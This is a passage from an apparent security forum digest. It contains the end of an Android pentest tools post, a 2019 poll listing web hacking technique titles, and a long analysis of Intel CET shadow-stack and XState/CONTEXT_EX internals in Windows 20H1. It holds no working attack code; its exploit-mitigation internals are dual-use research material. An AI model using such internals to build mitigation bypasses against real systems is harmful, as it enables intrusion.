/system/bin/busybox && chmod 755 /system/bin/busybox/busybox && /system/bin/busybox/busybox --install /system/bin" Conclusion That’s all. Thanks for reading! Sursa: https://captmeelo.com/pentest/2019/12/30/lesser-known-tools-for-android-pentest.html

Top 10 web hacking techniques of 2019 Welcome to the community vote for the Top 10 Web Hacking Techniques of 2019. Please review the nominations and rank the 10 entries you think contribute the most to the field. Rank 1 is the highest ranking, and you must rank at least 3. For further information, please refer to last year's results. Entries marked with a * feature multiple independent writeups using a single core technique. Closing time: 27 January 2020 00:00:00 (UTC) Research Infiltrating Corporate Intranet Like NSA: Pre-Auth RCE On Leading SSL VPNs* A Tale of Exploitation in Spreadsheet File Conversions Getting Shell with XAMLX Files Exploiting padding oracles with fixed IVs DoS via Web Cache Poisoning* Exploiting SSRF in AWS Elastic Beanstalk Cached and Confused: Web Cache Deception in the Wild The Cookie Monster in Your Browsers Facebook Messenger server random memory exposure through corrupted GIF Remote Code Execution via Insecure Deserialization in Telerik UI HostSplit: Exploitable Antipatterns in Unicode Normalization Abusing HTTP hop-by-hop request headers HTTP Desync Attacks: Request Smuggling Reborn* Microsoft Edge (Chromium) - Elevation of Privilege to Potential RCE SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP Reusing Cookies Backchannel Leaks on Strict Content-Security Policy Cross-Site Leaks* Exploiting JNDI Injections in Java XSS in GMail's AMP4Email via DOM Clobbering Security analysis of portal element IIS Application vs. Folder Detection During Blackbox Testing Uploading web.config for Fun and Profit 2 XSS-Auditor — the protector of unprotected and the deceiver of protected Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! Let's Make Windows Defender Angry: Antivirus can be an oracle! SAML Dupe Key Injection Reverse proxies & Inconsistency Owning The Clout Through Server Side Request Forgery PHP-FPM RCE(CVE-2019-11043) Finding and Exploiting .NET Remoting over HTTP using Deserialisation Exploiting Null Byte Buffer Overflow for a $40,000 bounty DOMPurify 2.0.0 bypass using mutation XSS Abusing autoresponders and email bounces Bypassing SOP Using the Browser Cache Don't open that XML: XXE to RCE in XML plugins for VS Code, Eclipse, Theia, ... Exploiting Spring Boot Actuators Exploiting prototype pollution - RCE in Kibana At Home Among Strangers Exploiting Deserialisation in ASP.NET via ViewState ESI Injection Part 2: Abusing specific implementations Get pwned by scanning QR Code All is XSS that comes to the .NET The world of Site Isolation and compromised renderer Common Security Issues in Financially-Oriented Web Applications Google Search XSS Exploring Continuous Integration Services as a Bug Bounty Hunter Apache Solr Injection Research Unveiling vulnerabilities in WebSocket APIs Note: some additional voting data is recorded on submission to prevent fraud. Sursa: https://portswigger.net/polls/top-10-web-hacking-techniques-2019

R.I.P ROP: CET Internals in Windows 20H1 Posted byYarden Shafir & Alex Ionescu January 5, 2020 Leave a comment on R.I.P ROP: CET Internals in Windows 20H1 A very exciting thing happened recently in the 19H1 (Version 1903) release of Windows 10 – parts of the Intel “Control-flow Enforcement Technology” (CET) implementation finally began, after years of discussion. More of this implementation is being added in every Windows release, and this year’s release, 20H1 (Version 2004), completes support for the User Mode Shadow Stack capabilities of CET, which will be released in Intel Tiger Lake CPUs. As a reminder, Intel CET is a hardware-based mitigation that addresses the two types of control-flow integrity violations commonly used by exploits: forward-edge violations (indirect CALL and JMP instructions) and backward-edge violations (RET instructions). While the forward-edge implementation is less interesting (as it is essentially a weaker form of clang-cfi, similar to Microsoft’s Control Flow Guard), the backward-edge implementation relies on a fundamental change in the ISA: the introduction of a new stack called the “Shadow Stack”, which now replicates the return addresses that are pushed on the stack by the CALL instruction, with the RET instruction now validating both the stack and shadow stack values and generating an INT #21 (Control Flow Protection Fault) in case of mismatch. Because operating systems and compilers must sometimes support control flow sequences other than CALL/RET (such as exception unwinding and longjmp), the “Shadow Stack Pointer” (SSP) must sometimes be manipulated at the system level to match the required behavior — and in turn, validated to avoid this manipulation itself from becoming a potential bypass. In this post, we’ll cover how Windows achieves this. Before diving deeper into how Windows manipulates and validates the shadow stack for threads, there are 2 parts of its implementation that must be first understood. The first is the actual location and permissions of the SSP, and the second is the mechanism used to store/restore SSP when context switching between threads, as well as how modifications can be done to SSP when needed (such as during exception unwinding). To explain these mechanisms, we’ll have to delve into an Intel CPU feature that was originally introduced by Intel in order to support “Advanced Vector eXtensions” (AVX) Instructions and first supported by Microsoft in Windows 7. And since adding support for this feature required a massive restructuring of the CONTEXT structure into an undocumented CONTEXT_EX structure (and the addition of documented and native APIs to manipulate it), we’ll have to talk about the internals of that too! Finally, we’ll even have to go through some compiler and PE file format internals, as well as new process information classes, to cover additional subtleties and requirements for CET functionality on Windows. We hope the Table of Contents, below, will help you navigate this thorough coverage of these capabilities. Additionally, when relevant, annotated source code for the various newly introduced functions is available by clicking the function names, based off our associated GitHub repository. Table of Contents [hide] XState Internals XSAVE Area XState Configuration XState Policy CET XSAVE Area Format CONTEXT_EX Internals CONTEXT_EX Structure Initializing a CONTEXT_EX Controlling XState Feature Masks in CONTEXT_EX Locating XState Features in a CONTEXT_EX Example Usage and Output CONTEXT_EX Validation NtContinueEx and KCONTINUE_ARGUMENT Shadow Stack Pointer (SSP) Validation Instruction Pointer (RIP) Validation Exception unwinding and longjmp Validation PE Metadata Tables User Inverted Function Table Dynamic Exception Handler Continuation Targets Target Validation XState Internals The x86-x64 architecture class processors originally began with a simple set of registers which most security researchers are familiar with — general purpose registers (RAX, RCX), control registers (RIP/RSP, for example), floating point registers (XMM, YMM, ZMM), and some control, debug, and test registers. As more processor capabilities were added, however, new registers had to be defined, as well as specific processor state associated with these capabilities. And since many of these features are local to a thread, they must be saved and restored during context switches. In response, Intel defined the “eXtended State” (XState) specification, which associates various processor states with bits in a “State Mask”, and introduces instructions such as XSAVE and XRSTOR to read and write the requested states from an “XSAVE Area”. Since this area is now a critical piece of CET register storage for each thread, and most people have largely been ignoring XSAVE support due to its original focus on floating point, AVX, and “Memory Protection eXtensions” (MPX) features, we thought an overview of the functionality and memory layout would be helpful to readers. XSAVE Area As mentioned, the XSAVE Area was originally used to store some of the new floating point functionality like AVX that had been added to processors by Intel, and to consolidate the existing x87 FPU and SSE states that were previously stored through the FXSTOR and FXRSTR instructions. These first two legacy states were defined as part of the “Legacy XSAVE Area”, and any further processor registers (such as AVX) were added to an “Extended XSAVE Area”. In between, an “XSAVE Area Header” is used to describe which extended features are present through a state mask called XSTATE_BV. At the same time, a new “eXtended Control Register” (XCR0) was added, which defines which states are supported by the operating system as part of the XSAVE functionality, and the XGETBV and XSETBV instructions were added to configure XCR0 (and potentially future XCRs as well). For example, operating systems can choose to program XCR0 not to contain the feature state bits for x87 FPU and SSE, meaning that they will save this information manually with legacy FXSTOR instructions, and only store extended feature state in their XSAVE Areas. As the number of advanced register sets and capabilities — such as “Memory Protection Keys” (MPK), which added a “Protection Key Register User State” (PKRU) — grew, newer processors introduced a distinction between “Supervisor State” that can only be modified by CPL0 code using XSAVES and XRSRTORS as well as “compaction” and “optimization” versions (XSAVEC/XSAVEOPT) to complicate matters in Intel-typical fashion. A new “Model Specific Register” (MSR), called IA32_XSS, was added to define which states are supervisor-only. The “optimized XSAVE” mechanism exists to ensure that only processor state which has actually been modified by another thread since the last context switch (if any) will actually be written in the XSAVE Area. An internal processor register, XINUSE, exists to track this information. When XSAVEOPT is used, the XSTATE_BV mask now includes only the bits corresponding to states which were actually saved, and not simply that of all of the states requested. The “compacted XSAVE” mechanism, on the other hand, fixed a wasteful flaw in the XState design: as more and more extended features were added — such as AVX512 and “Intel Processor Trace” (IPT) — it meant that even for threads which did not use these capabilities, a sufficiently large XSAVE Area needed to be allocated, and written into (full of zeroes) by the processor. While optimized XSAVE would avoid these writes, it still meant that any extended features following large-yet-unused states would be at large offsets away from the base XSAVE Area buffer. With XSAVEC, this problem is solved by only using space to save the XState features that are actually enabled (and in-use, as compaction implies optimization) by the current thread, and sequentially laying out each saved state in memory, without gaps in between (but potentially with a fixed 64-byte alignment, which is provided as part of an “Alignment Mask” through CPUID). The XSAVE Area Header shown earlier is now extended with a second state mask called XCOMP_BV, which indicates which of the requested state bits that were requested might be present in the compated area. Note that unlike XSTATE_BV, this mask does not omit the state bits that were not part of XINUSE — it includes all possible bits that could’ve been compacted — one must still check XSTATE_BV to determine which state areas are actually present. Finally, Bit 63 is always set in XCOMP_BV when the compacted instruction was used, as an indicator for which format the XSAVE Area has. Thus, using the compacted vs. non-compacted format determines the internal layout and size of the XSAVE Area. The compacted format will only allocate memory in the XSAVE Area for processor features used by the thread, while the non-compacted one will allocate memory for all the processor features supported by the processor, but only populate the ones used by the thread. The diagram below shows an example of how the XSAVE Area will look like for the same thread but when using one vs. the other format. To summarize, which states the XSAVE*/XRSTOR* family of instructions will work with is a combination of What state bits the OS claims it supports in XCR0 (set using the XSETBV instruction) What state bits the caller stores in EDX:EAX when using the XSAVE instruction (Intel calls this the “instruction mask”) If using the non-privileged instructions, which state bits are not set in IA32_XSS On processors that support “Optimized XSAVE”, which state bits are set in XINUSE, an internal register that tracks the actual XState-related registers that have been used by the current thread since the last transition Once these bits are masked together, the final set of resulting state bits are written by the XSAVE instruction into the header of the XSAVE Area in a field called the XSTATE_BV. In the case where “Compacted XSAVE” is used, the resulting state bits omitting bullet 4 (XINUSE) are written into the header of the XSAVE Area in the XCOMP_BV field. The diagram below shows the resulting masks. XState Configuration Because each processor has its own set of XState-enabled features, potential sizes, capabilities, and mechanisms, Intel exposes all of this information through various CPUID classes that an operating system should query when dealing with XState. Windows performs these queries at boot, and stores the information in an XSTATE_CONFIGURATION structure, which is shown below (documented in Winnt.h) typedef struct _XSTATE_CONFIGURATION { ULONG64 EnabledFeatures; ULONG64 EnabledVolatileFeatures; ULONG Size; union { ULONG ControlFlags; struct { ULONG OptimizedSave:1; ULONG CompactionEnabled:1; }; }; XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; ULONG64 EnabledSupervisorFeatures; ULONG64 AlignedFeatures; ULONG AllFeatureSize; ULONG AllFeatures[MAXIMUM_XSTATE_FEATURES]; ULONG64 EnabledUserVisibleSupervisorFeatures; } XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; After filing out this data, the kernel saves this information in the KUSER_SHARED_DATA structure, which can be accessed through the SharedUserData variable and is located at 0x7FFE0000 on all Windows platforms. For example, here is the output of our test 19H1 system, which supports both optimized and compacted forms of XSAVE, and has the x87 FPU (0), SSE (1), AVX (2) and MPX (3, 4) feature bits enabled. dx ((nt!_KUSER_SHARED_DATA*)0x7ffe0000)->XState [+0x000] EnabledFeatures : 0x1f [Type: unsigned __int64] [+0x008] EnabledVolatileFeatures : 0xf [Type: unsigned __int64] [+0x010] Size : 0x3c0 [Type: unsigned long] [+0x014] ControlFlags : 0x3 [Type: unsigned long] [+0x014 ( 0: 0)] OptimizedSave : 0x1 [Type: unsigned long] [+0x014 ( 1: 1)] CompactionEnabled : 0x1 [Type: unsigned long] [+0x018] Features [Type: _XSTATE_FEATURE [64]] [+0x218] EnabledSupervisorFeatures : 0x0 [Type: unsigned __int64] [+0x220] AlignedFeatures : 0x0 [Type: unsigned __int64] [+0x228] AllFeatureSize : 0x3c0 [Type: unsigned long] [+0x22c] AllFeatures [Type: unsigned long [64]] [+0x330] EnabledUserVisibleSupervisorFeatures : 0x0 [Type: unsigned __int64] In the Features array, the size and offset of each of these five features can be found: dx -r2 (((nt!_KUSER_SHARED_DATA*)0x7ffe0000)->XState)->Features.Take(5) [0] [Type: _XSTATE_FEATURE] [+0x000] Offset : 0x0 [Type: unsigned long] [+0x004] Size : 0xa0 [Type: unsigned long] [1] [Type: _XSTATE_FEATURE] [+0x000] Offset : 0xa0 [Type: unsigned long] [+0x004] Size : 0x100 [Type: unsigned long] [2] [Type: _XSTATE_FEATURE] [+0x000] Offset : 0x240 [Type: unsigned long] [+0x004] Size : 0x100 [Type: unsigned long] [3] [Type: _XSTATE_FEATURE] [+0x000] Offset : 0x340 [Type: unsigned long] [+0x004] Size : 0x40 [Type: unsigned long] [4] [Type: _XSTATE_FEATURE] [+0x000] Offset : 0x380 [Type: unsigned long] [+0x004] Size : 0x40 [Type: unsigned long] Adding up these sizes gives us 0x3C0, which is the value seen above in the FeatureSize field. Note, however, that since this system supports the Compacted XSAVE capability, the offsets shown here are not relevant, and only the AllFeatures field is useful to the kernel, which contains the size of every feature, but not its offset (as this will be determined based on the compaction mask used in XCOMP_BV). XState Policy Unfortunately, even though a processor might claim to support a given XState feature, it oftens turns out that due to various hardware errata, certain specific processors may not fully, or correctly, support the feature after all. In order to handle this eventuality, Windows uses an XState Policy, which is information stored in the resource section of a Hardware Policy Driver that is normally called HwPolicy.sys. As the Intel x86 architecture is a combination of multiple processor vendors all competing with variants of each other’s feature sets, the kernel must parse the XState policy and compare the current processor’s Vendor String and Microcode Version as well as its Signature, Features, and Extended Features (namely, RAX, RDX, and RCX from a CPUID 01h query), looking for a match in the policy. This work is done at boot by the KiIntersectFeaturesWithPolicy function that’s called by KiInitializeXSave, which calls KiLoadPolicyFromImage to load the appropriate XState policy, calls KiGetProcessorInformation to get the CPU data mentioned earlier, and then validates each feature bit currently enabled in the XState Configuration through calls to KiIsXSaveFeatureAllowed. These functions work with resource 101 in the HwPolicy.sys driver, which begins with the following data structure: typedef struct _XSAVE_POLICY { ULONG Version; ULONG Size; ULONG Flags; ULONG MaxSaveAreaLength; ULONGLONG FeatureBitmask; ULONG NumberOfFeatures; XSAVE_FEATURE Features[1]; } XSAVE_POLICY, *PXSAVE_POLICY; For example, on our 19H1 system, the contents (which we extracted with Resource Hacker), were as follows: dx @$policy = (_XSAVE_POLICY*)0x253d0e90000 [+0x000] Version : 0x3 [Type: unsigned long] [+0x004] Size : 0x2fd8 [Type: unsigned long] [+0x008] Flags : 0x9 [Type: unsigned long] [+0x00c] MaxSaveAreaLength : 0x2000 [Type: unsigned long] [+0x010] FeatureBitmask : 0x7fffffffffffffff [Type: unsigned __int64] [+0x018] NumberOfFeatures : 0x3f [Type: unsigned long] [+0x020] Features [Type: _XSAVE_FEATURE [1]] For each XSAVE_FEATURE, an offset to a XSAVE_VENDORS structure is found, which contains an array of XSAVE_VENDOR structures, each with a CPU Vendor String (for now, each seem to be either “GenuineIntel”, “AuthenticAMD”, or “CentaurHauls”), and an offset to an XSAVE_CPU_ERRATA structure. For example, our 19H1 test system had the following information for Feature 0: dx -r4 @$vendor = (XSAVE_VENDORS*)((int)@$policy->Features[0].Vendors + 0x253d0e90000) [+0x000] NumberOfVendors : 0x3 [Type: unsigned long] [+0x008] Vendor [Type: _XSAVE_VENDOR [1]] [0] [Type: _XSAVE_VENDOR] [+0x000] VendorId [Type: unsigned long [3]] [0] : 0x756e6547 [Type: unsigned long] [1] : 0x49656e69 [Type: unsigned long] [2] : 0x6c65746e [Type: unsigned long] [+0x010] SupportedCpu [Type: _XSAVE_SUPPORTED_CPU] [+0x000] CpuInfo [Type: XSAVE_CPU_INFO] [+0x020] CpuErrata : 0x4c0 [Type: XSAVE_CPU_ERRATA *] [+0x020] Unused : 0x4c0 [Type: unsigned __int64] Finally, each XSAVE_CPU_ERRATA structure contains the matching processor information data that corresponds to a known errata which prevents the specified XState feature from being supported. For example, in our test system, the first errata from the offset above was: dx -r3 @$errata = (XSAVE_CPU_ERRATA*)((int)@$vendor->Vendor[0].SupportedCpu.CpuErrata + 0x253d0e90000) [+0x000] NumberOfErrata : 0x1 [Type: unsigned long] [+0x008] Errata [Type: XSAVE_CPU_INFO [1]] [0] [Type: XSAVE_CPU_INFO] [+0x000] Processor : 0x0 [Type: unsigned char] [+0x002] Family : 0x6 [Type: unsigned short] [+0x004] Model : 0xf [Type: unsigned short] [+0x006] Stepping : 0xb [Type: unsigned short] [+0x008] ExtendedModel : 0x0 [Type: unsigned short] [+0x00c] ExtendedFamily : 0x0 [Type: unsigned long] [+0x010] MicrocodeVersion : 0x0 [Type: unsigned __int64] [+0x018] Reserved : 0x0 [Type: unsigned long] A tool which dumps your system’s hardware policy for all XState features is available on our GitHub here. For now, only one errata appears in the entire policy (the one showed above). Finally, the following optional loader command line options (and respective BCD settings) can be used to further customize XState capabilities: The XSAVEPOLICY=n load option, set through the xsavepolicy BCD option, which sets KeXSavePolicyId, indicating which of the XState policies to load. The XSAVEREMOVEFEATURE=n load option, set through the xsaveremovefeature BCD option, which sets KeTestRemovedFeatureMask. This will be later parsed by KiInitializeXSave and elide the specified state bits from the support. Note that State 0 (x87 FPU) and State 1 (SSE) cannot be removed this way. The XSAVEDISABLE load option, set through the xsavedisable BCD option, which sets KeTestDisableXsave, and causes KiInitializeXSave to set all XState related configuration data to 0, disabling the whole XState feature entirely. CET XSAVE Area Format As part of its implementation of CET, Intel defined two new bits in the XState standard, called XSTATE_CET_U (11) and XSTATE_CET_S (12), corresponding to user and supervisor state, respectively. The first state is a 16-byte data structure which MSDN documents as XSAVE_CET_U_FORMAT containing the IA32_U_CET MSR (which is where the “Shadow Stack Enable” flag is configured) and the IA32_PL3_SSP MSR (where the “Privilege Level 3 SSP” is stored). The second, which does not yet have an MSDN definition, includes the IA32_PL0/1/2_SSP MSRs. typedef struct _XSAVE_CET_U_FORMAT { ULONG64 Ia32CetUMsr; ULONG64 Ia32Pl3SspMsr; } XSAVE_CET_U_FORMAT, *PXSAVE_CET_U_FORMAT; typedef struct _XSAVE_CET_S_FORMAT { ULONG64 Ia32Pl0SspMsr; ULONG64 Ia32Pl1SspMsr; ULONG64 Ia32Pl2SspMsr; } XSAVE_CET_S_FORMAT, *PXSAVE_CET_S_FORMAT; As the field names suggest, CET-related “registers” are actually values stored in respective MSRs, which can normally only be accessed through RDMSR and WRMSR privileged instructions in Ring 0. However, unlike most MSRs which store processor-global data, CET can be enabled on a per-thread basis, and the shadow stack pointer is also obviously per-thread. For these reasons, CET-related data must be made part of the XState functionality such that operating systems can correctly handle thread switches. Since CET registers are basically MSRs which can normally only be modified by kernel code, they are not accessible through the CPL3 XSAVE/XRSTOR instructions and their respective state bits are always set to 1 in the IA32_XSS MSR. However, what makes things harder is the fact that the operating system cannot completely block user-mode code from modifying SSP. User-mode code might legitimately need to update the SSP as part of exception handling, unwinding, setjmp/longjmp, or specific functionality such as Windows’ “Fiber” mechanism. As such, operating systems need to provide a way for threads to modify CET state in XState through a system call, much like Windows provides SetThreadContext as a mechanism to update certain protected CPU registers such as CS and DR7, as long as certain rules are met. Therefore, in the next section we’ll see how the CONTEXT structure evolved into the CONTEXT_EX structure on more modern Windows versions in order to support XState-related information, and how CET-specific handling had to be added for legitimate exception-related scenarios, while also avoiding malicious control-flow attacks through corrupted CONTEXTs. CONTEXT_EX Internals In order to support the increasing number of registers that have to be saved on every context switch, new versions of Windows have the CONTEXT_EX structure, in addition to the legacy CONTEXT structure. This was needed due to the fact that CONTEXT is a fixed-size structure, while XSAVE has introduced the need for dynamically-sized processor state data that is dependent on the thread, processor, and even machine configuration policy. CONTEXT_EX Structure Unfortunately, although now used all over the kernel and user-mode exception handling functionality, the CONTEXT_EX structure is largely undocumented, save for the accidental release of some information in the Windows 7 header files and some Intel reference code (which might suggest Intel actually is responsible for defining this abomination). Simply take a look at this comment block and tell us if you can understand anything: // // This structure specifies an offset (from the beginning of CONTEXT_EX // structure) and size of a single chunk of an extended context structure. // // N.B. Offset may be negative. // typedef struct _CONTEXT_CHUNK { LONG Offset; DWORD Length; } CONTEXT_CHUNK, *PCONTEXT_CHUNK; // // CONTEXT_EX structure is an extension to CONTEXT structure. It defines // a context record as a set of disjoint variable-sized buffers (chunks) // each containing a portion of processor state. Currently there are only // two buffers (chunks) are defined: // // - Legacy, that stores traditional CONTEXT structure; // - XState, that stores XSAVE save area buffer starting from // XSAVE_AREA_HEADER, i.e. without the first 512 bytes. // // There a few assumptions exists that simplify conversion of PCONTEXT // pointer to PCONTEXT_EX pointer. // // 1. APIs that work with PCONTEXT pointers assume that CONTEXT_EX is // stored right after the CONTEXT structure. It is also assumed that // CONTEXT_EX is present if and only if corresponding CONTEXT_XXX // flags are set in CONTEXT.ContextFlags. // // 2. CONTEXT_EX.Legacy is always present if CONTEXT_EX structure is // present. All other chunks are optional. // // 3. CONTEXT.ContextFlags unambigiously define which chunks are // present. I.e. if CONTEXT_XSTATE is set CONTEXT_EX.XState is valid. // typedef struct _CONTEXT_EX { // // The total length of the structure starting from the chunk with // the smallest offset. N.B. that the offset may be negative. // CONTEXT_CHUNK All; // // Wrapper for the traditional CONTEXT structure. N.B. the size of // the chunk may be less than sizeof(CONTEXT) is some cases (when // CONTEXT_EXTENDED_REGISTERS is not set on x86 for instance). // CONTEXT_CHUNK Legacy; // // CONTEXT_XSTATE: Extended processor state chunk. The state is // stored in the same format XSAVE operation strores it with // exception of the first 512 bytes, i.e. staring from // XSAVE_AREA_HEADER. The lower two bits corresponding FP and // SSE state must be zero. // CONTEXT_CHUNK XState; } CONTEXT_EX, *PCONTEXT_EX; #define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), STACK_ALIGN) // // These macros make context chunks manupulations easier. // So while these headers do attempt to explain the layout of the CONTEXT_EX structure, the text is obtuse enough (and full of English errors) that it took us several rounds of arguments and shots until we could visualize it, and felt a diagram might be helpful. As shown in the diagram, the CONTEXT_EX structure is always at the end of the CONTEXT structure, and has 3 fields of type CONTEXT_CHUNK called All, Legacy, and XState. Each of these define an offset and a length to the data associated with them, and various RTL_ macros exist to retrieve the appropriate data pointer. The Legacy field refers to the beginning of the original CONTEXT structure (although the Length might be smaller on x86 if CONTEXT_EXTENDED_REGISTERS is not supplied). The All field refers to the beginning of the original CONTEXT structure as well, but its Length describes the totality of all the data, including the CONTEXT_EX itself and padding/alignment space required for the XSAVE Area. Finally, the XState field refers to the XSAVE_AREA_HEADER structure (which then defines the state mask of which state bits are enabled and thus whose data is present) and the length of the entire XSAVE Area. Due to this layout, it’s important to note that All and Legacy will have negative offsets. Since all of this math is hard, Ntdll.dll exports various APIs to simplify building, reading, copying, and otherwise manipulating the various data that is stored in a CONTEXT_EX (some, but not all, of these APIs are internally used by Ntoskrnl.exe, but none are exported). In turn, KernelBase.dll exports documented Win32 functions which internally use these capabilities. Initializing a CONTEXT_EX First, callers should figure out how much memory to allocate in order to store a CONTEXT_EX, which can be done by using the following API: NTSYSAPI ULONG NTAPI RtlGetExtendedContextLength ( _In_ ULONG ContextFlags, _Out_ PULONG ContextLength ); Callers are expected to supply the appropriate CONTEXT_XXX flags to specify which registers they intend to save (and namely CONTEXT_XSTATE otherwise using a CONTEXT_EX does not really buy much). This API then reads SharedUserData.XState.EnabledFeatures and SharedUserData.XState.EnabledUserVisibleSupervisorFeatures and passes in the union of all the bits to an extended function (also exported) shown below. NTSYSAPI ULONG NTAPI RtlGetExtendedContextLength2 ( _In_ ULONG ContextFlags, _Out_ PULONG ContextLength, _In_ ULONG64 XStateCompactionMask ); Note how this newer API allows manually specifying which XState states to actually save, instead of grabbing all enabled features from the XState Configuration in the Shared User Data. This results in a CONTEXT_EX structure that will be smaller and won’t contain enough space for all possible XState State Data, so future usage of this CONTEXT_EX should make sure to never leverage XState State Bits outside the specified mask. Next, a caller would allocate memory for the CONTEXT_EX (in most cases Windows will use alloca() to avoid memory exhaustion failures in exception paths) and use one of these two APIs: NTSYSAPI ULONG NTAPI RtlInitializeExtendedContext ( _Out_ PVOID Context, _In_ ULONG ContextFlags, _Out_ PCONTEXT_EX* ContextEx ); NTSYSAPI ULONG NTAPI RtlInitializeExtendedContext2 ( _Out_ PVOID Context, _In_ ULONG ContextFlags, _Out_ PCONTEXT_EX* ContextEx, _In_ ULONG64 XStateCompactionMask ); Just like before, the newer API allows manually specifying which XState states to save in their compacted form, otherwise all features available (based on SharedUserData) are assumed to be present. Obviously, it is expected that the caller specifies the same ContextFlags as in the call to RtlGetExtendedContextLength(2), to make sure that the context structure is of the correct size as was allocated. In return, the caller now receives a pointer to the CONTEXT_EX structure, which is expected to follow the input CONTEXT buffer. Once a CONTEXT_EX exists, a caller would likely first be interested in obtaining the legacy CONTEXT structure back from it (without making assumptions on sizes), which can be done with this next API: NTSYSAPI PCONTEXT NTAPI RtlLocateLegacyContext ( _In_ PCONTEXT_EX ContextEx, _Out_opt_ PULONG Length, ); As mentioned above, however, these are the undocumented and internal APIs that are exposed by the NT layer of Windows. Legitimate Win32 applications would instead simplify their usage of XState-compatible CONTEXT structures by using the following function(s) instead: WINBASEAPI BOOL WINAPI InitializeContext ( _Out_writes_bytes_opt_(*ContextLength) PVOID Context, _In_ DWORD ContextFlags, _Out_ PCONTEXT_EX Context, _Inout_ PDWORD ContextFlags ); WINBASEAPI BOOL WINAPI InitializeContext2 ( _Out_writes_bytes_opt_(*ContextLength) PVOID Context, _In_ DWORD ContextFlags, _Out_ PCONTEXT_EX Context, _Inout_ PDWORD ContextFlags, _In_ ULONG64 XStateCompactionMask ); These two APIs behave similarly to a combination of using the undocumented APIs: when callers first pass in NULL as the Buffer and Context parameters, the function returns the required length in ContextLength, which callers should allocate from memory. On the second attempt, callers pass in the allocated pointer in Buffer, and receive a pointer to the CONTEXT structure in Context without any knowledge of the underlying CONTEXT_EX structure. Controlling XState Feature Masks in CONTEXT_EX In order to access the XSTATE_BV(the extended feature mask), which is deeply embedded in the Mask field of the XSAVE_AREA_HEADER of the CONTEXT_EX, the system exports two APIs for easily checking which XState features are enabled in the CONTEXT_EX, with a corresponding API for modifying the XState mask. Note, however, that Windows never stores x87 FPU (0) and SSE (1) states in the XSAVE Area, and instead uses the FXSAVE instruction, meaning that the XSAVE Area will never contain the Legacy Area, and immediately start with the XSAVE_AREA_HEADER. Due to this, the Get API will always mask the bottom 2 bits out. The Set API will, in addition, also make sure that the specified feature is present in the EnabledFeatures of the XState Configuration. Keep in mind that if a hardcoded compaction mask was specified in InitializeContext2 (or the internal native APIs), the Set API should not be used other than to elide existing state bits (since adding a new bit would imply additional, non-initialized out-of-bounds state data in the CONTEXT_EX, which would’ve already been pre-allocated without this data). NTSYSAPI ULONG64 NTAPI RtlGetExtendedFeaturesMask ( _In_ PCONTEXT_EX ContextEx ); NTSYSAPI ULONG64 NTAPI RtlSetExtendedFeaturesMask ( _In_ PCONTEXT_EX ContextEx, _In_ ULONG64 FeatureMask ); The documented form of these APIs is as follows: WINBASEAPI BOOL WINAPI GetXStateFeaturesMask ( _In_ PCONTEXT Context _Out_ PDWORD64 FeatureMask ); NTSYSAPI ULONG64 NTAPI SetXStateFeaturesMask ( _In_ PCONTEXT Context, _In_ DWORD64 FeatureMask ); Locating XState Features in a CONTEXT_EX Because of the complexity of the CONTEXT_EX structure, as well as the fact that XState features might be present in either compacted or non-compacted form, and that their presence is also dependent on the various state masks described earlier (especially if optimized XSAVE is supported), callers need a library function in order to quickly and easily obtain a pointer to the relevant state data in the XSAVE Area within the CONTEXT_EX. Currently two such functions exist, shown below, with RtlLocateExtendedFeature being just a wrapper around RtlLocateExtendedFeature2, which supplies it with a pointer to the SharedUserData.XState as the Configuration parameter. As both are exported, callers can also manually specify their own custom XState Configuration in the latter API if they so choose. NTSYSAPI PVOID NTAPI RtlLocateExtendedFeature ( _In_ CONTEXT_EX ContextEx, _In_ ULONG FeatureId, _Out_opt_ PULONG Length ); NTSYSAPI PVOID NTAPI RtlLocateExtendedFeature2 ( _In_ CONTEXT_EX ContextEx, _In_ ULONG FeatureId, _In_ PXSTATE_CONFIGURATION Configuration, _Out_opt_ PULONG Length ); Both of the two functions receive a CONTEXT_EX structure and an ID for a requested feature, and parse the XState Configuration data in order to return a pointer for where the feature is stored in the XSAVE Area. Note that they don’t validate or return any actual value for the specified feature, which is up to the caller. To find the pointer, RtlLocateExtendedFeature2 does the following: Makes sure that the Feature ID is above 2 (since x87 FPU and SSE states are never saved through XSAVE by Windows) and below 64 (the highest possible XState feature bit) Gets the XSAVE_AREA_HEADER from CONTEXT_EX + CONTEXT_EX.XState.Offset Reads the Configuration->ControlFlags.CompactionEnabled flag to know if using compaction or not If using the non-compacted format: Reads Configuration->Features[n].Offset and .Size to learn the offset and size of the requested feature in the XSAVE Area If using the compacted format: Reads the CompactionMask from the XSAVE_AREA_HEADER (corresponding to XCOMP_BV) and checks if it contains the requested feature Reads Configuration->AllFeatures to learn the sizes of all the enabled states whose state bit comes before the requested feature ID, and calculates the offset of the requested format based on adding up these sizes, aligning the beginning of each previous state area to 64 bytes if the corresponding bit is set in Configuration->AlignedFeatures, and then finally aligning the start of the area for specified feature ID if needed as well Reads the size of the requested feature from Configuration.AllFeatures[n] Locates the feature in the XSAVE Area based on its computed offset from above and returns a pointer to it, optionally alongside its respective size in the output Length variable. This means that to find the address of a certain feature with the non-compacted format, it’s enough to check in SharedUserData which features are supported by the processor. In the compacted format however, it’s impossible to rely on the offsets in SharedUserData, making it necessary to also check which features are enabled on the thread, and to calculate the right offset for the feature based on the sizes of all the previous features. In legitimate Win32 applications, a different API is used, which internally calls the native API above, but with some pre-processing. Since state bit 0 and 1 are never saved as part of the XSAVE Area in the CONTEXT_EX, the Win32 API handles these two feature bits by grabbing them from the appropriate Legacy CONTEXT fields, namely FltSave for XSTATE_LEGACY_FLOATING_POINT and Xmm0 for XSTATE_LEGACY_SSE. WINBASEAPI PVOID WINAPI LocateXStateFeature ( _In_ CONTEXT_EX Context, _In_ DWORD FeatureId, _Out_opt_ PDWORD Length ); Example Usage and Output In order to make sense out of the XState Internals, especially when combined with the CONTEXT_EX data structure, we’ve written a simple test program, available on our GitHub here. This utility demonstrates some of the API usage as well as the various offsets, sizes, and behaviors involved. Here’s the output of the program (which uses AVX registers) on a system with AVX, MPX, and Intel PT: Among other things, note how the Legacy CONTEXT is at a negative offset, as expected, and how even though the system supports the x87 FPU State (1) and GSSE State (2), the XSAVEBV does not contain these bits as they are instead saved in the Legacy CONTEXT area (and hence, note the negative offsets of their associated state data). Following the XSAVE Header (itself at offset 0x30) which is 